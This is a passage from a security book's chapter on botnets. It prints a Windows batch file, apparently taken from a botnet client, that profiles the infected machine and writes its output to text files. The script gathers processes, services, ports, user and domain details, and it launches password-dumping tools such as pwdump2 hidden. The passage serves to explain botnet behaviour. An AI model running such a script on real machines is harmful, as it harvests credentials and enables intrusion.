427 Botnet fm qxd

www.syngress.com
38
Chapter 2 • Botnets Overview
427_Botnet_02.qxd 1/9/07 9:49 AM Page 38

---

Tools & Traps…
A Batch File Used to Discover 
the Nature of a New Botnet Client
@echo off
echo *---------------------------------------------------------------
----*>info.txt
echo *--Computer Specs....
--*>>info.txt
echo *---------------------------------------------------------------
----*>>info.txt
psinfo.exe -d >>info.txt
Diskinfo
echo *---------------------------------------------------------------
----*>>info.txt
echo *--List of Current Processes Running....
--*>>info.txt
echo *---------------------------------------------------------------
----*>>info.txt
fport.exe /ap >>info.txt
echo *---------------------------------------------------------------
----*>>info.txt
echo *--List of Current Running/Stopped Services..
--*>>info.txt
echo *---------------------------------------------------------------
----*>>info.txt
xnet.exe list >>info.txt
echo *---------------------------------------------------------------
----*>>info.txt
echo *--List of Whois Info..
--*>>info.txt
echo *---------------------------------------------------------------
----*>>info.txt
echo *--
Lista uruchomionych procesów
--*>>info.txt
www.syngress.com
Botnets Overview • Chapter 2
39
Continued
427_Botnet_02.qxd 1/9/07 9:49 AM Page 39

---

echo *---------------------------------------------------------------
----*>>info.txt
pslist.exe >>info.txt
echo *---------------------------------------------------------------
----*>>info.txt
Password.exe >>info.txt
echo *---------------------------------------------------------------
----*>>uptime.txt
uptime.exe /s>>uptime.txt
echo *---------------------------------------------------------------
----*>>uptime.txt
hidden32.exe find.bat
echo *---------------------------------------------------------------
----*>>info.txt
rkdetector.exe >>rk.txt
hidden32.exe pass.bat
hidden32.exe pwdump2.bat
cls
echo Whoami >> info.txt
echo. >> info.txt
echo Computer Name= %COMPUTERNAME% >> info.txt
echo Login Name=
%USERNAME% >> info.txt
echo Login Domain=
%USERDOMAIN% >> info.txt
echo Logon Server=
%LOGONSERVER% >> info.txt
echo. >> info.txt
echo Home Drive=
%HOMEDRIVE% >> info.txt
echo Home Share=
%HOMESHARE% >> info.txt
echo System Drive=
%SYSTEMDRIVE% >> info.txt
echo System Root=
%SYSTEMROOT% >> info.txt
echo Win Directory= %WINDIR% >> info.txt
echo User Profile Path= %USERPROFILE% >> info.txt
echo. >> info.txt
echo Groups user belongs to: >> info.txt
echo. >> info.txt
.\whoami.exe /user /groups /fo list >> info.txt